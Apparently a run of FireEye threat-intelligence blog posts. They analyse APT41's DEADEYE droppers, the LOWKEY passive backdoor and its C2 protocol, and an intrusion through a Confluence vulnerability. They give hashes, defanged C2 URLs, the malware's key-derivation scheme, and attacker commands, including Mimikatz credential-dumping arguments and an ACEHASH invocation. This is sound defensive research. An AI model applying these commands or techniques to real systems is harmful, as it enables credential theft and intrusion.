FireEye assesses this trend will continue in the future. Accordingly, both users and organizations must consider the risk of unencrypted data being intercepted several layers upstream in their cellular communication chain. This is especially critical for highly targeted individuals such as dissidents, journalists and officials that handle highly sensitive information. Appropriate safeguards such as utilizing a communication program that enforces end-to-end encryption can mitigate a degree of this risk. Additionally, user education must impart the risks of transmitting sensitive data over SMS. More broadly, the threat to organizations that operate at critical information junctures will only increase as the incentives for determined nation-state actors to obtain data that directly support key geopolitical interests remains.

FireEye Detections

  • FE_APT_Controller_SH_MESSAGETAP_1
  • FE_APT_Trojan_Linux64_MESSAGETAP_1
  • FE_APT_Trojan_Linux_MESSAGETAP_1   
  • FE_APT_Trojan_Linux_MESSAGETAP_2    
  • FE_APT_Trojan_Linux_MESSAGETAP_3

Example File

  • File name: mtlserver
  • MD5 hash: 8D3B3D5B68A1D08485773D70C186D877

*This sample was identified by FireEye on VirusTotal and provides an example for readers to reference. The file is a less robust version than instances of MESSAGETAP identified in intrusions and may represent an earlier test of the malware. The file and any of its embedded data were not observed in any Mandiant Consulting engagement*



Thank you to Adrian Pisarczyk, Matias Bevilacqua and Marcin Siedlarz for identification and analysis of MESSAGETAP at a FireEye Mandiant Consulting engagement.

LOWKEY: Hunting for the Missing Volume Serial ID

In August 2019, FireEye released the “Double Dragon” report on our newest graduated threat group: APT41. A China-nexus dual espionage and financially-focused group, APT41 targets industries such as gaming, healthcare, high-tech, higher education, telecommunications, and travel services.

This blog post is about the sophisticated passive backdoor we track as LOWKEY, mentioned in the APT41 report and recently unveiled at the FireEye Cyber Defense Summit. We observed LOWKEY being used in highly targeted attacks, utilizing payloads that run only on specific systems. Additional malware family names are used in the blog post and briefly described. For a complete overview of malware used by APT41 please refer to the Technical Annex section of our APT41 report.

The blog post is split into three parts, which are shown in Figure 1. The first describes how we managed to analyze the encrypted payloads. The second part features position independent loaders we observed in multiple samples, adding an additional layer of obfuscation. The final part is about the actual backdoor we call LOWKEY, which comes in two variants, a passive TCP listener and a passive HTTP listener targeting Internet Information Services (IIS).

Figure 1: Blog post overview


Tracking APT41 activities over the past months, we observed multiple samples that shared two unique features: the use of RC5 encryption which we don’t encounter often, and a unique string “f@Ukd!rCto R$.”. We track these samples as DEADEYE.

DEADEYE comes in multiple variants:

  • DEADEYE.DOWN has the capability to download additional payloads.
  • DEADEYE.APPEND has additional payloads appended to it.
  • DEADEYE.EXT loads payloads that are already present on the system.


A sample belonging to DEADEYE.DOWN (MD5: 5322816c2567198ad3dfc53d99567d6e) attempts to download two files on the first execution of the malware.

The first file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20170730.jpg. The command and control (C2) server response is first RC5 decrypted with the key “wsprintfA” and then RC5 encrypted with a different key and written to disk as <MODULE_NAME>.mui.

The RC5 key is constructed using the volume serial number of the C drive. The volume serial number is a 4-byte value, usually based on the install time of the system. The volume serial number is XORed with the hard-coded constant “f@Ukd!rCto R$.” and then converted to hex to derive a key of up to 28 bytes in length. The key length can vary if the XORed value contains an embedded zero byte because the lstrlenA API call is used to determine the length of it. Note that the lstrlenA API call happens before the result is converted to hex. If the index of the byte modulo 4 is zero, the hex conversion is in uppercase. The key derivation is illustrated in Table 1.

Volume Serial number of C drive, for example 0xAABBCCDD

F          ^          0xAA

=          0xCC


@         ^          0xBB

=          0xFB


U          ^          0xCC

=          0x99


k          ^          0xDD

=          0xB6


d          ^          0xAA

=          0xCE


!           ^          0xBB

=          0x9A


r           ^          0xCC

=          0xBE


C          ^          0xDD

=          0x9E


t           ^          0xAA

=          0xDE


o          ^          0xBB

=          0xD4


(0x20)   ^          0xCC

=          0xEC


R          ^          0xDD

=          0x8F


$          ^          0xAA

=          0x8E


.           ^          0xBB

=          0x95


Derived key CCfb99b6CE9abe9eDEd4ec8f8E95

Table 1: Key derivation example

The second file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20160204.jpg. The C2 response is RC5 decrypted with the key “wsprintfA” and then XORed with 0x74, before it is saved as C:\Windows\System32\wcnapi.mui.

Figure 2: 5322816c2567198ad3dfc53d99567d6e download

The sample then determines its own module name, appends the extension mui to it and attempts to decrypt the file using RC5 encryption. This effectively decrypts the file the malware just downloaded and stored encrypted on the system previously. As the file has been encrypted with a key based on the volume serial number it can only be executed on the system it was downloaded on or a system that has the same volume serial number, which would be a remarkable coincidence.

An example mui file is the MD5 hash e58d4072c56a5dd3cc5cf768b8f37e5e. Looking at the encrypted file in a hex editor reveals a high entropy (7.999779/8). RC5 uses Electronic Code Book (ECB) mode by default. ECB means that each code block (64 bit) is encrypted independent from other code blocks. This means the same plaintext block always results in the same cipher text, independent from its position in the binary. The file has 792933 bytes in total but almost no duplicate cipher blocks, which means the data likely has an additional layer of encryption.

Without the correct volume serial number nor any knowledge about the plaintext there is no efficient way to decrypt the payload e58d4072c56a5dd3cc5cf768b8f37e5e with just the knowledge of the current sample.


Fortunately searching for the unique string “f@Ukd!rCto R$.“ in combination with artifacts from RC5 reveals additional samples. One of the related samples is DEADEYE.APPEND (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea), which has been previously analyzed by Kaspersky ( This sample is different because it is protected with VMProtect and has the obfuscated binary appended to it. The embedded binary starts at offset 3287552 which can be seen in Figure 3 with the differing File Size and PE Size.

Figure 3: A look at the PE header reveals a larger file size than PE size

The encrypted payload has a slightly lower entropy of 7.990713 out of 8. Looking at the embedded binary in a hex editor reveals multiple occurrences of the byte pattern 51 36 94 A4 26 5B 0F 19, as seen in Figure 4. As this pattern occurs multiple times in a row in the middle of the encrypted data and ECB mode is being used, an educated guess is that the plaintext is supposed to be 00 00 00 00 00 00 00 00.

Figure 4: Repeating byte pattern in 37e100dd8b2ad8b301b130c2bca3f1ea

RC5 Brute Forcer

With this knowledge we decided to take a reference implementation of RC5 and add a main function that accounts for the key derivation algorithm used by the malware samples (see Figure 5). Brute forcing is possible as the key is derived from a single DWORD; even though the final key length might be 28 bytes, there are only 4294967296 possible keys. The code shown in Figure 5 generates all possible volume serial numbers, derives the key from them and tries to decrypt 51 36 94 A4 26 5B 0F 19 to 00 00 00 00 00 00 00 00. Running the RC5 brute forcer for a couple of minutes shows the correct volume serial number for the sample, which is 0xc25cff4c.

Note if you want to run the brute forcer yourself
The number of DWORDs of the key in the reference implementation we used is represented by the global c, and we had to change it to 7 to match the malware’s key length of 28 bytes. There were some issues with the conversion because in the malware a zero byte within the generated key ultimately leads to a shorter key length. The implementation we used uses a hard-coded key length (c), so we generated multiple executables with c = 6, c = 5, c = 4… as these usually only ran for a couple of minutes to cover the entire key space. All the samples mentioned in the Appendix 1 could be solved with c = 7 or c = 6.

Figure 5: Main function RC5 brute forcer

The decrypted payload belongs to the malware family POISONPLUG (MD5: 84b69b5d14ba5c5c9258370c9505438f). POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded command and control commands.

We confirmed the findings from Kaspersky and additionally found a second command and control URL hxxps://steamcommunity[.]com/id/oswal053, as mentioned in our APT 41 report.

Taking everything into account that we learned from DEADEYE.APPEND (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea), we decided to take another look at the encrypted mui file (e58d4072c56a5dd3cc5cf768b8f37e5e). Attempts to brute force the first bytes to match with the ones of the decrypted POISONPLUG payload did not yield any results.

Fortunately, we found additional samples that use the same encryption scheme. In one of the samples the malware authors included two checks to validate the decrypted payload. The expected plaintext at the specified offsets for DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff) is shown in Table 2.


Expected byte after decryption









Table 2: Byte comparisons after decrypting in DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff)

Applying these constraints to our brute forcer and trying to decrypt mui file (e58d4072c56a5dd3cc5cf768b8f37e5e) once more resulted in a low number of successful hits which we could then manually check. The correct volume serial number for the encrypted mui is 0x243e2562. Analysis determined the decrypted file is XMRig miner. This also explains why the dropper downloads two files. The first, <MODULE_NAME>.mui is the crypto miner, and the second C:\Windows\System32\wcnapi.mui, is the configuration. The decrypted mui contains another layer of obfuscation and is eventually executed with the command x -c wcnapi.mui. An explanation on how the command was obtained and the additional layer of obfuscation is given in the next part of the blog post.

For a list of samples with the corresponding volume serial numbers, please refer to Appendix 1.

Additional RC4 Layer

An additional RC4 layer has been identified in droppers used by APT41, which we internally track as DEADEYE. The layer has been previously detailed in a blog post by ESET. We wanted to provide some additional information on this, as it was used in some of the samples we managed to brute force.

The additional layer is position independent shellcode containing a reflective DLL loader. The loader decrypts an RC4 encrypted payload and loads it in memory. The code itself is a straight forward loader with the exception of some interesting artifacts identified during analysis.

As mentioned in the blog post by ESET, the encrypted payload is prepended with a header. It contains the RC4 encryption key and two fields of variable length, which have previously been identified as file names. These two fields are encrypted with the same RC4 encryption key that is also used to decrypt the payload. The header is shown in Table 3.

Header bytes


0 15

RC4 key XOR encoded with 0x37

16 19

Size of loader stub before the header

20 23

RC4 key size

24 27

Command ASCII size (CAS)

28 31

Command UNICODE size (CUS)

32 35

Size of encrypted payload

36 39

Launch type

40 (40 + CAS)

Command ASCII

(40 + CAS) (40 + CAS + CUS)


(40 + CAS + CUS) (40 + CAS + CUS + size of encrypted payload)

Encrypted payload

Table 3: RC4 header overview

Looking at the payloads hidden behind the RC5 layer, we observed, that these fields are not limited to file names, instead they can also contain commands used by the reflective loader. If no command is specified, the default parameter is the file name of the loaded payload. In some instances, this revealed the full file path and file name in the development environment. Table 4 shows some paths and file names. This is also how we found the command (x -c wcnapi.mui) used to launch the decrypted mui file from the first part of the blog post.

MD5 hash

Arguments found in the RC4 layer

















Table 4: Decrypted paths and file names


The final part of the blog post describes the capabilities of the passive backdoor LOWKEY (MD5: 8aab5e2834feb68bb645e0bad4fa10bd) decrypted from DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff). LOWKEY is a passive backdoor that supports commands for a reverse shell, uploading and downloading files, listing and killing processes and file management. We have identified two variants of the LOWKEY backdoor.

The first is a TCP variant that listens on port 53, and the second is an HTTP variant that listens on TCP port 80. The HTTP variant intercepts URL requests matching the UrlPrefix http://+:80/requested.html. The + in the given UrlPrefix means that it will match any host name. It has been briefly mentioned by Kaspersky as “unknown backdoor”.

Both variants are loaded by the reflective loader described in the previous part of the blog post. This means we were able to extract the original file names. They contain meaningful names and provide a first hint on how the backdoor operates.

HTTP variant (MD5: c11dd805de683822bf4922aecb9bfef5)

TCP variant (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff)

The interesting parts are shown in Figure 6. PortReuse describes the general idea behind the backdoor, to operate on a well-known port. The paths also contain version numbers 2.5 and v1.3-53. IIS_Share is used for the HTTP variant and describes the targeted application, DeviceIOContrl-Hook is used for the TCP variant.

Figure 6: Overview important parts of executable path

Both LOWKEY variants are functionally identical with one exception. The TCP variant relies on a second component, a user mode rootkit that is capable of intercepting incoming TCP connections. The internal name used by the developers for that component is E:\code\PortReuse\3389-share\DeviceIOContrl-Hook\v1.3-53\NetAgent\x64\Release\NetAgent.exe.

Figure 7: LOWKEY components


Inner-Loader.dll is a watch guard for the LOWKEY backdoor. It leverages the GetExtendedTcpTable API to retrieve all processes with an open TCP connection. If a process is listening on TCP port 53 it injects NetAgent.exe into the process. This is done in a loop with a 10 second delay. The loader exits the loop when NetAgent.exe has been successfully injected. After the injection it will create a new thread for the LOWKEY backdoor (SK3.x.exe).

The watch guard enters an endless loop that executes every 20 minutes and ensures that the NetAgent.exe and the LOWKEY backdoor are still active. If this is not the case it will relaunch the backdoor or reinject the NetAgent.exe.


NetAgent.exe is a user mode rootkit that provides covert communication with the LOWKEY backdoor component. It forwards incoming packets, after receiving the byte sequence FF FF 01 00 00 01 00 00 00 00 00 00, to the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001}.

The component works by hooking the NtDeviceIoControlFile API. It does that by allocating a suspiciously large region of memory, which is used as a global hook table. The table consists of 0x668A0 bytes and has read, write and execute permissions set.

Each hook table entry consists of 3 pointers. The first points to memory containing the original 11 bytes of each hooked function, the second entry contains a pointer to the remaining original instructions and the third pointer points to the function hook. The malware will only hook one function in this manner and therefore allocates an unnecessary large amount of memory. The malware was designed to hook up to 10000 functions this way.

The hook function begins by iterating the global hook table and compares the pointer to the hook function to itself. This is done to find the original instructions for the installed hook, in this case NtDeviceIoControlFile. The malware then executes the saved instructions which results in a regular NtDeviceIoControlFile API call. Afterwards the IoControlCode is compared to 0x12017 (AFD_RECV).

If the IoControlCode does not match, the original API call results are returned.

If they match the malware compares the first 12 bytes of the incoming data. As it is effectively a TCP packet, it is parsing the TCP header to get the data of the packet. The first 12 bytes of the data section are compared against the hard-coded byte pattern: FF FF 01 00 00 01 00 00 00 00 00 00.

If they match it expects to receive additional data, which seems to be unused, and then responds with a 16 byte header 00 00 00 00 00 91 03 00 00 00 00 00 80 1F 00 00, which seems to be hard-coded and to indicate that following packets will be forwarded to the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001}. The backdoor component (SK3.x.exe) receives and sends data to the named pipe. The hook function will forward all received data from the named pipe back to the socket, effectively allowing a covert communication between the named pipe and the socket.


SK3.x.exe is the actual backdoor component. It supports writing and reading files, modification of file properties, an interactive command shell, TCP relay functionality and listing running processes. The backdoor opens a named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001} for communication.

Data received by the backdoor is encrypted with RC4 using the key “CreateThread“ and then XORed with 0x77. All data sent by the backdoor uses the same encryption in reverse order (first XOR with 0x77, then RC4 encrypted with the key “CreateThread“). Encrypted data is preceded by a 16-byte header which is unencrypted containing an identifier and the size of the following encrypted packet.

An example header looks as follows:
00 00 00 00 00 FD 00 00 10 00 00 00 00 00 00 00



00 00 00 00 00


FD 00

Bytes 5 and 6 are the command identifier, for a list of all supported identifiers check Table 6 and Table 7.



10 00 00 00

Size of the encrypted packet that is send after the header

00 00 00 00


Table 5: Subcomponents of header

The backdoor supports the commands listed in tables Table 6 and Table 7. Most commands expect a string at the beginning which likely describes the command and is for the convenience of the operators, but this string isn't actively used by the malware and could be anything. For example, KILL <PID> could also be A <PID>. Some of the commands rely on two payloads (UserFunction.dll and ProcTran.dll), that are embedded in the backdoor and are either injected into another process or launch another process.


Userfunction.dll starts a hidden cmd.exe process, creates the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00000} and forwards all received data from the pipe to the standard input of the cmd.exe process. All output from the process is redirected back to the named pipe. This allows interaction with the shell over the named pipe.


The component opens a TCP connection to the provided host and port, creates the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00001} and forwards all received data from the pipe to the opened TCP connection. All received packets on the connection are forwarded to the named pipe. This allows interaction with the TCP connection over the named pipe.





<cmd> <arg1> <arg2>

Provides a simple shell, that supports the following commands, dir, copy, move, del, systeminfo and cd. These match the functionality of standard commands from a shell. This is the only case where the <cmd> is actually used.


<cmd> <arg1>

The argument is interpreted as a process id (PID). The backdoor injects UserFunction.dll into the process, which is an interactive shell that forwards all input and output data to Microsoft Ole Object {30000-7100-12985-00000-00000}. The backdoor will then forward incoming data to the named pipe allowing for communication with the opened shell. If no PID is provided, the `cmd.exe` is launched as child process of the backdoor process with input and output redirected to the named pipe Microsoft Ole Object {30000-7100-12985-00001-00001}


<cmd> <arg1> <arg2>

Writes data to a file. The first argument is the <file_name>, the second argument is an offset into the file


<cmd> <arg1> <arg2>

Reads data from a file. The first argument is the <file_name>, the second argument is an offset into the file, the third argument is optional, and the exact purpose is unknown



Lists running processes, including the process name, PID, process owner and the executable path


<cmd> <arg1>

Kills the process with the provided process id (PID)


<cmd> <arg1> <arg2>

Copies the files CreationTime, LastAccessTime and LastWriteTime from the second argument and applies them to the first argument. Both arguments are expected to be full file paths. The order of the arguments is a bit unusual, as one would usually apply the access times from the second argument to the third



List running processes with additional details like the SessonId and the CommandLine by executing the WMI query SELECT Name,ProcessId,SessionId,CommandLine,ExecutablePath FROM Win32_Process



Ping command, the malware responds with the following byte sequence 00 00 00 00 00 65 00 00 00 00 00 00 06 00 00 00. Experiments with the backdoor revealed that the identifier 0x65 seems to indicate a successful operation, whereas 0x66 indicates an error.

Table 6: C2 commands

The commands listed in Table 7 are used to provide functionality of a TCP traffic relay. This allows operators to communicate through the backdoor with another host via TCP. This could be used for lateral movement in a network. For example, one instance of the backdoor could be used as a jump host and additional hosts in the target network could be reached via the TCP traffic relay. Note that the commands 0xD2, 0xD3 and 0xD6 listed in Table 7 can be used in the main backdoor thread, without having to use the ProcTran.dll.





<cmd> <arg1>

The argument is interpreted as a process id (PID). The backdoor injects ProcTran.dll into the process, which is a TCP traffic relay component that forwards all input and output data to Microsoft Ole Object {30000-7100-12985-00000-00001}. The commands 0xD2, 0xD3 and 0xD6 can then be used with the component.


<arg1> <arg2>

Opens a connection to the provided host and port, the first argument is the host, the second the port. On success a header with the identifier set to 0xD4 is returned (00 00 00 00 00 D4 00 00 00 00 00 00 00 00 00 00). This effectively establishes a TCP traffic relay allowing operators to communicate with another system through the backdoored machine.



Receives and sends data over the connection opened by the 0xD2 command. Received data is first RC4 decrypted with the key “CreateThread“ and then single-byte XOR decoded with 0x77. Data sent back is directly relayed without any additional encryption.



Closes the socket connection that had been established by the 0xD2 command



Closes the named pipe Microsoft Ole Object {30000-7100-12985-00000-00001} that is used to communicate with the injected ProcTran.dll. This seems to terminate the thread in the targeted process by the 0x105 command

Table 7: C2 commands TCP relay


The TCP LOWKEY variant passively listens for the byte sequence FF FF 01 00 00 01 00 00 00 00 00 00 on TCP port 53 to be activated. The backdoor then uses up to three named pipes for communication. One pipe is used for the main communication of the backdoor, the other ones are used on demand for the embedded payloads.

  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001} main communication pipe
  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00001} named pipe used for interaction with the TCP relay module ProcTran.dll
  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00000} named pipe used for the interactive shell module UserFunction.dll

Figure 8 summarizes how the LOWKEY components interact with each other.

Figure 8: LOWKEY passive backdoor overview



Correct Volume Serial

Dropper Family

Final Payload Family



























































None - encrypted data


















Appendix 1: List of samples with RC5 encrypted payloads

GAME OVER: Detecting and Stopping an APT41 Operation

In August 2019, FireEye released the “Double Dragon” report on our newest graduated threat group, APT41. A China-nexus dual espionage and financially-focused group, APT41 targets industries such as gaming, healthcare, high-tech, higher education, telecommunications, and travel services. APT41 is known to adapt quickly to changes and detections within victim environments, often recompiling malware within hours of incident responder activity. In multiple situations, we also identified APT41 utilizing recently-disclosed vulnerabilities, often weaponzing and exploiting within a matter of days.

Our knowledge of this group’s targets and activities are rooted in our Incident Response and Managed Defense services, where we encounter actors like APT41 on a regular basis. At each encounter, FireEye works to reverse malware, collect intelligence and hone our detection capabilities. This ultimately feeds back into our Managed Defense and Incident Response teams detecting and stopping threat actors earlier in their campaigns.

In this blog post, we’re going to examine a recent instance where FireEye Managed Defense came toe-to-toe with APT41. Our goal is to display not only how dynamic this group can be, but also how the various teams within FireEye worked to thwart attacks within hours of detection – protecting our clients’ networks and limiting the threat actor’s ability to gain a foothold and/or prevent data exposure.


In April 2019, FireEye’s Managed Defense team identified suspicious activity on a publicly-accessible web server at a U.S.-based research university. This activity, a snippet of which is provided in Figure 1, indicated that the attackers were exploiting CVE-2019-3396, a vulnerability in Atlassian Confluence Server that allowed for path traversal and remote code execution.

Figure 1: Snippet of PCAP showing attacker attempting CVE-2019-3396 vulnerability

This vulnerability relies on the following actions by the attacker:

  • Customizing the _template field to utilize a template that allowed for command execution.
  • Inserting a cmd field that provided the command to be executed.

Through custom JSON POST requests, the attackers were able to run commands and force the vulnerable system to download an additional file. Figure 2 provides a list of the JSON data sent by the attacker.

Figure 2: Snippet of HTTP POST requests exploiting CVE-2019-3396

As shown in Figure 2, the attacker utilized a template located at hxxps[:]//github[.]com/Yt1g3r/CVE-2019-3396_EXP/blob/master/cmd.vm. This publicly-available template provided a vehicle for the attacker to issue arbitrary commands against the vulnerable system. Figure 3 provides the code of the file cmd.vm.

Figure 3: Code of cmd.vm, used by the attackers to execute code on a vulnerable Confluence system

The HTTP POST requests in Figure 2, which originated from the IP address 67.229.97[.]229, performed system reconnaissance and utilized Windows certutil.exe to download a file located at hxxp[:]//67.229.97[.]229/pass_sqzr.jsp and save it as test.jsp (MD5: 84d6e4ba1f4268e50810dacc7bbc3935). The file test.jsp was ultimately identified to be a variant of a China Chopper webshell.

A Passive Aggressive Operation

Shortly after placing test.jsp on the vulnerable system, the attackers downloaded two additional files onto the system:

  • 64.dat (MD5: 51e06382a88eb09639e1bc3565b444a6)
  • Ins64.exe (MD5: e42555b218248d1a2ba92c1532ef6786)

Both files were hosted at the same IP address utilized by the attacker, 67[.]229[.]97[.]229. The file Ins64.exe was used to deploy the HIGHNOON backdoor on the system. HIGHNOON is a backdoor that consists of multiple components, including a loader, dynamic-link library (DLL), and a rootkit. When loaded, the DLL may deploy one of two embedded drivers to conceal network traffic and communicate with its command and control server to download and launch memory-resident DLL plugins. This particular variant of HIGHNOON is tracked as HIGHNOON.PASSIVE by FireEye. (An exploration of passive backdoors and more analysis of the HIGHNOON malware family can be found in our full APT41 report).

Within the next 35 minutes, the attackers utilized both the test.jsp web shell and the HIGHNOON backdoor to issue commands to the system. As China Chopper relies on HTTP requests, attacker traffic to and from this web shell was easily observed via network monitoring. The attacker utilized China Chopper to perform the following:

  • Movement of 64.dat and Ins64.exe to C:\Program Files\Atlassian\Confluence
  • Performing a directory listing of C:\Program Files\Atlassian\Confluence
  • Performing a directory listing of C:\Users

Additionally, FireEye’s FLARE team reverse engineered the custom protocol utilized by the HIGHNOON backdoor, allowing us to decode the attacker’s traffic. Figure 4 provides a list of the various commands issued by the attacker utilizing HIGHNOON.

Figure 4: Decoded HIGHNOON commands issued by the attacker

Playing Their ACEHASH Card

As shown in Figure 4, the attacker utilized the HIGHNOON backdoor to execute a PowerShell command that downloaded a script from PowerSploit, a well-known PowerShell Post-Exploitation Framework. At the time of this blog post, the script was no longer available for downloading. The commands provided to the script – “privilege::debug sekurlsa::logonpasswords exit exit” – indicate that the unrecovered script was likely a copy of Invoke-Mimikatz, reflectively loading Mimikatz 2.0 in-memory. Per the observed HIGHNOON output, this command failed.

After performing some additional reconnaissance, the attacker utilized HIGHNOON to download two additional files into the C:\Program Files\Atlassian\Confluence directory:

  • c64.exe (MD5: 846cdb921841ac671c86350d494abf9c)
  • (MD5: a919b4454679ef60b39c82bd686ed141)

These two files are the dropper and encrypted/compressed payload components, respectively, of a malware family known as ACEHASH. ACEHASH is a credential theft and password dumping utility that combines the functionality of multiple tools such as Mimikatz, hashdump, and Windows Credential Editor (WCE).

Upon placing c64.exe and on the system, the attacker ran the command

c64.exe "9839D7F1A0 -m”

This specific command provided a password of “9839D7F1A0” to decrypt the contents of, and a switch of “-m”, indicating the attacker wanted to replicate the functionality of Mimikatz. With the correct password provided, c64.exe loaded the decrypted and decompressed shellcode into memory and harvested credentials.

Ultimately, the attacker was able to exploit a vulnerability, execute code, and download custom malware on the vulnerable Confluence system. While Mimikatz failed, via ACEHASH they were able to harvest a single credential from the system. However, as Managed Defense detected this activity rapidly via network signatures, this operation was neutralized before the attackers progressed any further.

Key Takeaways From This Incident

  • APT41 utilized multiple malware families to maintain access into this environment; impactful remediation requires full scoping of an incident.
  • For effective Managed Detection & Response services, having coverage of both Endpoint and Network is critical for detecting and responding to targeted attacks.
  • Attackers may weaponize vulnerabilities quickly after their release, especially if they are present within a targeted environment. Patching of critical vulnerabilities ASAP is crucial to deter active attackers.

Detecting the Techniques

FireEye detects this activity across our platform, including detection for certutil usage, HIGHNOON, and China Chopper.


Signature Name

China Chopper










Certutil Downloader









MD5 Hash (if applicable)















IP Address



Looking for more? Join us for a webcast on August 29, 2019 where we detail more of APT41’s activities. You can also find a direct link to the public APT41 report here.


Special thanks to Dan Perez, Andrew Thompson, Tyler Dean, Raymond Leong, and Willi Ballenthin for identification and reversing of the HIGHNOON.PASSIVE malware.

APT41: A Dual Espionage and Cyber Crime Operation

Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations. APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain. Explicit financially-motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward.

The full published report covers historical and ongoing activity attributed to APT41, the evolution of the group’s tactics, techniques, and procedures (TTPs), information on the individual actors, an overview of their malware toolset, and how these identifiers overlap with other known Chinese espionage operators. APT41 partially coincides with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky).

Who Does APT41 Target?

Like other Chinese espionage operators, APT41 espionage targeting has generally aligned with China's Five-Year economic development plans. The group has established and maintained strategic access to organizations in the healthcare, high-tech, and telecommunications sectors. APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. For example, the group has repeatedly targeted call record information at telecom companies. In another instance, APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there, suggesting the group was tasked to reconnoiter the facility for security reasons.

The group’s financially motivated activity has primarily focused on the video game industry, where APT41 has manipulated virtual currencies and even attempted to deploy ransomware. The group is adept at moving laterally within targeted networks, including pivoting between Windows and Linux systems, until it can access game production environments. From there, the group steals source code as well as digital certificates which are then used to sign malware. More importantly, APT41 is known to use its access to production environments to inject malicious code into legitimate files which are later distributed to victim organizations. These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns.

Interestingly, despite the significant effort required to execute supply chain compromises and the large number of affected organizations, APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers. These multi-stage operations restrict malware delivery only to intended victims and significantly obfuscate the intended targets. In contrast, a typical spear-phishing campaign’s desired targeting can be discerned based on recipients' email addresses.

A breakdown of industries directly targeted by APT41 over time can be found in Figure 1.


Figure 1: Timeline of industries directly targeted by APT41

Probable Chinese Espionage Contractors

Two identified personas using the monikers “Zhang Xuguang” and “Wolfzhi” linked to APT41 operations have also been identified in Chinese-language forums. These individuals advertised their skills and services and indicated that they could be hired. Zhang listed his online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming targets and suggesting that he is moonlighting. Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs.

Attribution to these individuals is backed by identified persona information, their previous work and apparent expertise in programming skills, and their targeting of Chinese market-specific online games. The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations.

Figure 2: Operational activity for gaming versus non-gaming-related targeting based on observed operations since 2012

The Right Tool for the Job

APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions, including publicly available utilities, malware shared with other Chinese espionage operations, and tools unique to the group. The group often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims. Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware. For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits.

APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems. The use of bootkits in particular adds an extra layer of stealth because the code is executed prior to the operating system initializing. The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets.

Fast and Relentless

APT41 quickly identifies and compromises intermediary systems that provide access to otherwise segmented parts of an organization’s network. In one case, the group compromised hundreds of systems across multiple network segments and several geographic regions in as little as two weeks.

The group is also highly agile and persistent, responding quickly to changes in victim environments and incident responder activity. Hours after a victimized organization made changes to thwart APT41, for example, the group compiled a new version of a backdoor using a freshly registered command-and-control domain and compromised several systems across multiple geographic regions. In a different instance, APT41 sent spear-phishing emails to multiple HR employees three days after an intrusion had been remediated and systems were brought back online. Within hours of a user opening a malicious attachment sent by APT41, the group had regained a foothold within the organization's servers across multiple geographic regions.

Looking Ahead

APT41 is a creative, skilled, and well-resourced adversary, as highlighted by the operation’s distinct use of supply chain compromises to target select individuals, consistent signing of malware using compromised digital certificates, and deployment of bootkits (which is rare among Chinese APT groups).

Like other Chinese espionage operators, APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015. This shift, however, has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons. The group's capabilities and targeting have both broadened over time, signaling the potential for additional supply chain compromises affecting a variety of victims in additional verticals.

APT41's links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them. It is also possible that APT41 has simply evaded scrutiny from Chinese authorities. Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41.

Hard Pass: Declining APT34’s Invite to Join Their Professional Network


With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.

FireEye Identifies Phishing Campaign

In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor. Three key attributes caught our eye with this particular campaign:

  1. Masquerading as a member of Cambridge University to gain victims’ trust to open malicious documents,
  2. The usage of LinkedIn to deliver malicious documents,
  3. The addition of three new malware families to APT34’s arsenal.

